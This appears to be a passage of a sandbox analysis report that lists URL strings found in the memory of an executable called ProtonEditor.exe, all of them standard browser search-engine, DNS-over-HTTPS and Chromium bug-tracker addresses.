    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=955texture-compression-astcSupport
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/tint/issues/detail?id=1497
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/tint/issues/detail?id=1497indirect-first-instanceSupport
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.softonic.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/favicon.icohttps://ca.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com/dns-queryone.one.one.one1dot1dot1dot1.cloudflare-dns.com1.1.1.11.0
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://chromium.dns.nextdns.io
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/favicon.icohttps://cl.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cleanbrowsing.org/privacy
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cleanbrowsing.org/privacyCleanBrowsing
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/favicon.icohttps://co.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/favicon.icohttps://coccoc.com/search#query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/search#query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/new
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreating
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dawn.googlesource.com/dawn/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/favicon.icohttps://de.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflare
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacy
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacyGoogle
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dl.gmx.com/apps/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dl.gmx.com/apps/favicon.icohttps://search.gmx.com/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.google/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.quad9.net/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.quad9.net/dns-querydns.quad9.netdns9.quad9.net9.9.9.9149.112.112.1122620:fe::fe2620:fe::
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.sb/privacy/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns.sb/privacy/DNS.SBhttps://doh.dns.sb/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns10.quad9.net/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns10.quad9.net/dns-querydns10.quad9.net9.9.9.10149.112.112.102620:fe::102620:fe::fe:10;
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns11.quad9.net/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dns64.dns.google/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dnsnl.alekberg.net/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh-01.spectrum.com/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh-02.spectrum.com/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cox.net/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.cox.net/dns-querydot.cox.net68.105.28.1168.105.28.122001:578:3f::30Z
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.dns.sb/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.familyshield.opendns.com/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.opendns.com/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.quickline.ch/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://doh.xfinity.com/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtabh
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://en.softonic.com/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/favicon.icohttps://es.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/favicon.icohttps://fi.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/favicon.icohttps://fr.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.imgsmail.ru/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.imgsmail.ru/favicon.icohttps://go.mail.ru/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.mail.ru/chrome/newtab/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.mail.ru/msearch?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.mail.ru/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/favicon.icohttps://hk.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
